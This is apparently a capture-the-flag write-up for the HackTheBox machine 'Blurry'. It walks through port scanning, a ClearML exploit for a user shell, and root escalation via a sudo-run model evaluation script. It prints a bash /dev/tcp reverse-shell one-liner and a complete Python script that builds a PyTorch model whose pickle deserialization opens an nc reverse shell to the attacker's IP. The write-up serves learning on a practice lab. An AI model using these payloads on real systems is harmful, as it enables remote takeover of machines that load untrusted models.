Blurry

Enumeration
nmap -v -A -O -p- -Pn blurry.htb -oN nmap
Nmap scan report for blurry.htb (10.10.11.19)
Host is up (0.049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/24%OT=22%CT=1%CU=40681%PV=Y%DS=2%DC=T%G=Y%TM=6679
OS:2FB1%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Uptime guess: 16.373 days (since Sat Jun 8 01:37:50 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=251 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 50.12 ms 10.10.14.1
2 50.30 ms blurry.htb (10.10.11.19)
NSE: Script Post-scanning.
Initiating NSE at 10:34
Completed NSE at 10:34, 0.00s elapsed
Initiating NSE at 10:34
Completed NSE at 10:34, 0.00s elapsed
Initiating NSE at 10:34
Completed NSE at 10:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.15 seconds
Raw packets sent: 65655 (2.893MB) | Rcvd: 65616 (2.628MB)
Port 80
There is a redirect to app.blurry.htb
when we hit the port 80, so add the subdomain to /ect/hosts and start the enumeration:

Insert any username and login.
Previously we have seen a redirect to app.blurry.htb
so we can try to enumerate different subdomains using gobuster
:

There are so many functionalities, so starts viewing which projects are already created:

This project highlighted with red is composed by different automated task that runs occasionally:

From here we can extract useful information about the box and a possible user of the machine -> jippity.
Exploitation (user)
Searching online for some ClearML vulns, we will find it:
We just need to setup the python venv and install dependencies:
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
and then we can run the exploit:

We need to set up the ClearML client by copy&paste the API configuration from Settings of our account:



Then run the exploit and obtain the reverse shell as jippity
user and the user flag:

Obtain a second cleaner reverse shell using pwncat-cs
. This is necessary due to log output inside the first reverse shell:

python3 -m venv pwncat-env
source pwncat-env/bin/activate
pip install pwncat-cs
sh -i >& /dev/tcp/10.10.14.64/7777 0>&1

To mantain an access and avoid to exploit the ClearML every time we can dump SSH key of jippity:


Privilege escalation (root)
There isn't any other interesting users to exploit so go further with root:

The more simple command sudo -l
from SSH session or the LinPeas script are our friends:

We can run as root the bash script evaluate_model
by passing as a parameter any .pth (PyTorch trained model) file present inside the /models folder.
#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi
MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
/usr/bin/mkdir -p "$TEMP_DIR"
file_type=$(/usr/bin/file --brief "$MODEL_FILE")
# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# POSIX tar archive (older PyTorch format)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# Zip archive (newer PyTorch format)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2
fi
/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE"
break
fi
done
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
We have write permission inside the /models directory so:

We need to install torch
because it will allow us to create a model containing bash spawning process. This script defines a PyTorch model with malicious intent by overriding the __reduce__
method to execute a shell command when the model is deserialized. The __reduce__
method is a special method used by Python's pickle
module to define how an object is reduced to a serialized form. By overriding this method, the script executes a malicious command during deserialization.
import torch
import torch.nn as nn
import os
class MaliciousModel(nn.Module):
# PyTorch's base class for all neural network modules
def __init__(self):
super(MaliciousModel, self).__init__()
self.dense = nn.Linear(10, 1)
# Define how the data flows through the model
def forward(self, evil): # Passes input through the linear layer.
return self.dense(evil)
# Overridden __reduce__ Method
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.64 7777 >/tmp/f"
return os.system, (cmd,)
# Create an instance of the model
malicious_model = MaliciousModel()
# Save the model using torch.save
torch.save(malicious_model, 'evil.pth')
Run the script and upload the evil.pth
to victim machine under /models
.


Now run the sudo command and enjoy the root shell 🎉:
sudo /usr/bin/evaluate_model /models/evil.pth

Last updated